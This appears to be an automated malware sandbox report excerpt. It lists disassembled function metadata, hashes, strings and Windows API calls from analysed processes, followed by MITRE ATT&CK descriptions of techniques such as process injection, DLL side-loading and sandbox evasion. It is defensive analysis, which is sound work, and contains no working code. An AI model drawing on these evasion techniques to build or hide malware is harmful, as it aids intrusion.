Instruction Fuzzy Hash: 40D14874A05248AFCB06CFA8D490ADDFBB6FF49310F248199E804AB352CB31ED45CB90

Function 02AB5F1B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6986cbec2e4b8626382571ef97500dcc2311f709246157cf609fe74199e6bbd0
Instruction ID: 68cc458ec5134c4b3fb918f090eec72c714b25ab2d8fd07a5783d18ffdb178df
Opcode Fuzzy Hash: 6986cbec2e4b8626382571ef97500dcc2311f709246157cf609fe74199e6bbd0
Instruction Fuzzy Hash: 48510774A006099FCB15CF5DC894EAEFBB5FF48310B258159E909AB761C731EC81CBA0

Function 071B1A54 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 587c583448f6c39498198e403401e841d5b0b671d9beab40bc88f5c2fce6513f
Instruction ID: 332ef32b8e3283405c1beb1dfd637ff2425198a3a86af60a71e45c1071b7eb0a
Opcode Fuzzy Hash: 587c583448f6c39498198e403401e841d5b0b671d9beab40bc88f5c2fce6513f
Instruction Fuzzy Hash: 454108F1A1020EEFCB358F258660AFABBB29B41740F1A8095D8409F6D1D735D980D7A1

Function 02AB33F0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745495837c31d213abc96d16ce05220e533e7a8a8f05746e9dbdcadd8344c5eb
Instruction ID: 41dd0301ee6a8e31e362919407581b91dfc398c3d0bd866d21386366b13edd93
Opcode Fuzzy Hash: 745495837c31d213abc96d16ce05220e533e7a8a8f05746e9dbdcadd8344c5eb
Instruction Fuzzy Hash: EF413874A006059FCB0ACF59C4D4AEAFBB5FF48314B1582A9D945AB365CB32FD50CBA0

Function 071B1A68 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 384c83e07a13b2061c5e6ebc6368e3145fc846f463e0f02ced8890fef6d3f166
Instruction ID: 39ad868f076f35cb41d42a8a92b3ca0102a5c2a4aaea0ef603c39851c0f98764
Opcode Fuzzy Hash: 384c83e07a13b2061c5e6ebc6368e3145fc846f463e0f02ced8890fef6d3f166
Instruction Fuzzy Hash: 663108F1A1020EEBCB358F6586A0AB7B7B2EB81740F168065D9009F6D1E735D980D7A1

Function 02AB3400 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0472be7f4337077599a0f2d0c376c0134b1d0ba891014f2a96c5dddf718368b9
Instruction ID: 5dde628b721d67e0924e98672d2a1ac96b69c869cb476fa35d47a1df7cc29447
Opcode Fuzzy Hash: 0472be7f4337077599a0f2d0c376c0134b1d0ba891014f2a96c5dddf718368b9
Instruction Fuzzy Hash: 94410774A005099FCB0ACF99C4D4AAAFBB5FF48314B158299D905AB365CB32FD50CBA4

Function 02AB2AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdd3da55eeb78385d5c205f66eb0fd2141391a33800d95359168f97801f693ec
Instruction ID: d7e644439182b1b253e1b5433065939bb5b0777428d2dec32028dcc8a0e7f751
Opcode Fuzzy Hash: cdd3da55eeb78385d5c205f66eb0fd2141391a33800d95359168f97801f693ec
Instruction Fuzzy Hash: B8212A74A046099FCB01CF59C890AAEFBB5FF4D310B148596D909EB352C735EC41CBA0

Function 02AB2AAE Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9611dd020c6bedcabcf3507267d567f8e95b55bd50676d0c29d71a3818c28a
Instruction ID: fd7c0e5c0ace3547359558e22eb7435c599262e0a55934b50dd3c5117f55ab0c
Opcode Fuzzy Hash: db9611dd020c6bedcabcf3507267d567f8e95b55bd50676d0c29d71a3818c28a
Instruction Fuzzy Hash: A421D574A005099FCB04CF99C580AAEFBB5FF4C310B24856AE909EB351C731EC51CBA0

Function 02AB48F1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e9cd282a113aec2da8bbbe89827c2b8ab0a66295f464c2ee5c3cd03f4c8cef
Instruction ID: ecea81ffcf2017cb9c79e6e2c4da8a3d05cf4578dddb4c7d3760a831fb89e2c2
Opcode Fuzzy Hash: 45e9cd282a113aec2da8bbbe89827c2b8ab0a66295f464c2ee5c3cd03f4c8cef
Instruction Fuzzy Hash: 3F210874A002498FCB01DFADD4909AEFBB5FF8D310B1481A5E959AB352C731EC41CBA1

Function 02A0D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112145855.0000000002A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2a0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6da63bb3a4f63c6928a6f1ec20f9534040fbc29f6708027a154362071b107424
Instruction ID: 4a4b5c60c30779ff832bbac6c65a7eeb73254fc39bddad98c82abb860d438f38
Opcode Fuzzy Hash: 6da63bb3a4f63c6928a6f1ec20f9534040fbc29f6708027a154362071b107424
Instruction Fuzzy Hash: 7B01F7725057409AE7208F56E8C0F66BFA8DF41324F18C42AED4E1F1C2CB789841C6B1

Function 02A0D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112145855.0000000002A0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2a0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b710ff893a0985e5213e7e00c06ab2047b47d7694847929f6b30ce8244d0a1
Instruction ID: 8c47a438402258ae4287a79165f8ce624903a2e18324c3279517a147c1d25985
Opcode Fuzzy Hash: 85b710ff893a0985e5213e7e00c06ab2047b47d7694847929f6b30ce8244d0a1
Instruction Fuzzy Hash: 7F015E7240E7C09EE7128B259C94B62BFB8DF53224F1981DBD9889F1E3C2695845C772

Function 02AB5135 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b138d992860b390de3591a8afe913ce98a576264a3d0ac6d1a30fbb6de0f1d82
Instruction ID: 955ef0474e172b3ad86f9616de28ec06a34a949dd9efb2b8de4f1598badb8fea
Opcode Fuzzy Hash: b138d992860b390de3591a8afe913ce98a576264a3d0ac6d1a30fbb6de0f1d82
Instruction Fuzzy Hash: 00F049B86002049FC700CB58D894EAAF7B5FF8C310B208098D90A8B361C732EC43CB90

Non-executed Functions

Function 071B3D70 Relevance: 11.7, Strings: 9, Instructions: 425COMMON

Download Yara Rule

Strings

,S&l, xrefs: 071B3E84
4'tq, xrefs: 071B3EA5
,S&l, xrefs: 071B3E90
4'tq, xrefs: 071B41E7
4'tq, xrefs: 071B4048
4'tq, xrefs: 071B3EAF
4'tq, xrefs: 071B41DB
xS&l, xrefs: 071B3DC6
4'tq, xrefs: 071B403E

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: ,S&l$,S&l$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$xS&l
API String ID: 0-1122504542
Opcode ID: 16ccc58db7ba2774a428901c9bd739957f34435d8fd59c077f2e3769a1c4dd50
Instruction ID: dbdc13f1e5270c0ae1decd8a11173e2e9df8b6e35ac04fb0311724e580331182
Opcode Fuzzy Hash: 16ccc58db7ba2774a428901c9bd739957f34435d8fd59c077f2e3769a1c4dd50
Instruction Fuzzy Hash: C8E119B1B0425A8FCB368B79D4505EAFBB2EFC5210F25C0AAD815CB296DB31DC51C7A1

Function 071B08A0 Relevance: 9.1, Strings: 7, Instructions: 315COMMON

Download Yara Rule

Strings

4'tq, xrefs: 071B09AE
$tq, xrefs: 071B0A82
tPtq, xrefs: 071B0AED
$tq, xrefs: 071B0AB4
$tq, xrefs: 071B0AA8
4'tq, xrefs: 071B09A2
tPtq, xrefs: 071B0AF9

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$tPtq$tPtq$$tq$$tq$$tq
API String ID: 0-3181550632
Opcode ID: 3372edde7f3f7334481a6611c88095e6670c44d2b45aebfd3063b82eeea82104
Instruction ID: a95b9321c9f47cc25055930591fd1d55c0801fcbca3e847f00246ef2e1fd9a98
Opcode Fuzzy Hash: 3372edde7f3f7334481a6611c88095e6670c44d2b45aebfd3063b82eeea82104
Instruction Fuzzy Hash: 11A17BB27182568FD7368B7984116BBFBA1AFCA210F1984ABD845DF2D1DB31CD41C3A1

Function 02AB6745 Relevance: 6.5, Strings: 5, Instructions: 277COMMON

Download Yara Rule

Strings

m_, xrefs: 02AB6752
m_, xrefs: 02AB6762
FUp, xrefs: 02AB6768
m_, xrefs: 02AB6893
m_, xrefs: 02AB67E3

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID: FUp$m_$m_$m_$m_
API String ID: 0-3585749089
Opcode ID: 4cdf33981a4bbfe6b3c562aa03231ed72c9cb3ea131d3914867b7f4139f30d8e
Instruction ID: 562a26edf3d3efd99a1f4c444d29ae48bb1f4de70312f1ea9f5b81bbb9abad3f
Opcode Fuzzy Hash: 4cdf33981a4bbfe6b3c562aa03231ed72c9cb3ea131d3914867b7f4139f30d8e
Instruction Fuzzy Hash: 5D915B9280E7D25FD7075B3858B95C27FB89E1B9A870B01D7C4C4CF0A3E919584ECBA6

Function 071B14E8 Relevance: 6.4, Strings: 5, Instructions: 184COMMON

Download Yara Rule

Strings

$tq, xrefs: 071B166F
4'tq, xrefs: 071B1592
4'tq, xrefs: 071B159E
$tq, xrefs: 071B169A
$tq, xrefs: 071B16A6

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq
API String ID: 0-2409360608
Opcode ID: 83c820380751a4380fa68cfdbdb0577bb7cf578cb6d4eeae4cd7e5a90aa691cc
Instruction ID: 4becb6577eb133159138685288848a494b31d3f615f64700ca1d5daac65fd4ed
Opcode Fuzzy Hash: 83c820380751a4380fa68cfdbdb0577bb7cf578cb6d4eeae4cd7e5a90aa691cc
Instruction Fuzzy Hash: A8515CB1B1420EAFCB36867D84616E6BBB6AFC6310F1A806AD845CB2C1DB71C851D761

Function 071B3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$tq, xrefs: 071B3546
$tq, xrefs: 071B3580
$tq, xrefs: 071B352A
$tq, xrefs: 071B3574

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: cec78d434f90e4dba5e5d6571b6a6a7492b31a3aaf1ff90648c2f44740e8766b
Instruction ID: 48322a266ec450fd4e016a8e2ab0bf9db5ec6af3f77fabe040a9cd4a9c0f91bb
Opcode Fuzzy Hash: cec78d434f90e4dba5e5d6571b6a6a7492b31a3aaf1ff90648c2f44740e8766b
Instruction Fuzzy Hash: E52135F131421A6BDB39557E9891BA7FAA6DBC0710F24802AE915CB3C1DF35D8618231

Function 071B0572 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

$tq, xrefs: 071B05BA
4'tq, xrefs: 071B05DB
$tq, xrefs: 071B05C6
4'tq, xrefs: 071B05E7

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq
API String ID: 0-3085001694
Opcode ID: 4f38c8ebd21fc8d207abb740b24883717d6eb0ac5f3bc4639b169e64556b1552
Instruction ID: 2ffc8357d382cdc2e994a2df8dcd7c4ec89532305ff05e4fc2dbfe859fd818c6
Opcode Fuzzy Hash: 4f38c8ebd21fc8d207abb740b24883717d6eb0ac5f3bc4639b169e64556b1552
Instruction Fuzzy Hash: 240144A071C2C98FCB7F177C1860966AFB29BD754072A02A7C481EF6D2CF258C42C362

Analysis Process: vsv_tool.exePID: 7076, Parent PID: 1012COMMON

Execution Graph

Execution Coverage:	18.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	140
Total number of Limit Nodes:	6

Executed Functions

Function 00A951EB Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A9518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00A951BB

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 00A9524F

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction ID: 7051266d0125ee05bb9786a49f127f840c12c23bbd2eb876073576d703952e7f
Opcode Fuzzy Hash: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction Fuzzy Hash: EE51F9B5E00609EFCF05DFA8C891AEEB7F5BF48300F648559E915AB340D775AA41CBA0

Function 00A94ACB Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 00A94AED

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction ID: b8f648480c3c1a8e23cb253a1c11248e3ba6a6bb5d2ca4be4ebd211bd7047959
Opcode Fuzzy Hash: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction Fuzzy Hash: 1231AA75A00108FFCB14DF98C891F9EB7B9EF48310F208199E919AB391D671EE42DB94

Function 00A950BB Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00A950DD
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 00A9510B

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: d1bbfcd95e8da8c131a99cab6744cce8294f2d2676dc4f65dd0b966eaf8e891d
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 4A01DE75740508BBDF10EE68DD52F9A73B9AF48314F208254E9199B291D631AE02DB90

Function 00A946FB Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A9518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00A951BB

LoadLibraryW.KERNELBASE(?), ref: 00A9472C

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction ID: c8601794208ce51e42cb96459bc13d7c80fd03e21005505df8161a40f45fcd61
Opcode Fuzzy Hash: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction Fuzzy Hash: 72E0ED75E00208BFCB00EFA8DD82E9DBBB8AF48201F108194F9089B344E631AE518B91

Function 00A9671B Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: 0851d156b8f9361d3c17ce13378855995747ac6000d9f8bba94d337a2019d3cb
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: 3C91B8B5E04209AFCF08CF98D890AEEBBF5BF88310F148559E515AB355D734AA45CFA0

Function 00A9518B Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00A951BB

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 55856589b41269751aa1f98184baf51cdd2731b7aff15f5954092bb6cfc54607
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: 10F02278A14208EFDB44DF58D581A99B7A5EB88364F20C299AC198B341D631EE81DB94

Function 0072CA28 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2919915563.000000000072C000.00000020.00000001.01000000.0000000E.sdmp, Offset: 0072C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_72c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d2fd8ab2eee3d3d8dac4f18ebed727357b66eeb0e491cdb759caed8f8672eab
Instruction ID: 5cd395a12bf43991ce2908bba2aa8a509d9a2d24e99db8e4c67b167633938b24
Opcode Fuzzy Hash: 1d2fd8ab2eee3d3d8dac4f18ebed727357b66eeb0e491cdb759caed8f8672eab
Instruction Fuzzy Hash: 81019E71700204AFDB55EF68ED92A5A37FEEB19300B4059A6F800C7352EA79ED01DB64

Function 0072C9F0 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2919915563.000000000072C000.00000020.00000001.01000000.0000000E.sdmp, Offset: 0072C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_72c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction ID: 2ecb76f87f3a24e80bebf2bb2b0a644adb50492906b44cd04398f09905828721
Opcode Fuzzy Hash: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction Fuzzy Hash: ABD05B5170122459CF95BA7D5DC674D06D84F15394F40157A7444D7343D66CCC485B10

Function 0072C7C0 Relevance: .0, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000025.00000002.2919915563.000000000072C000.00000020.00000001.01000000.0000000E.sdmp, Offset: 0072C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_72c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction ID: 10c6a52c3349b7665df3e9b4c3918b5df74a2d369b37a02794528e880e0c2c02
Opcode Fuzzy Hash: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction Fuzzy Hash: FEA00276420539CEDA92B662A049B5C21606F70735FC2A094B0005555247BC45488F52

Non-executed Functions

Function 00A93838 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d026152c9e1c89c948e18edb4b9e5e7592848c8e1491289b73731c89f4658674
Instruction ID: 7e5cf2bd39940f366af0c2638763dbb78222d0b5a157772aa07746a37765f392
Opcode Fuzzy Hash: d026152c9e1c89c948e18edb4b9e5e7592848c8e1491289b73731c89f4658674
Instruction Fuzzy Hash: AB516DB97041018BDF14EFA6C5D169673E7AF98358F4984B1FC084F21BCB369905D6A1

Function 00A958BB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2919915563.0000000000A93000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00A93000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_a93000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
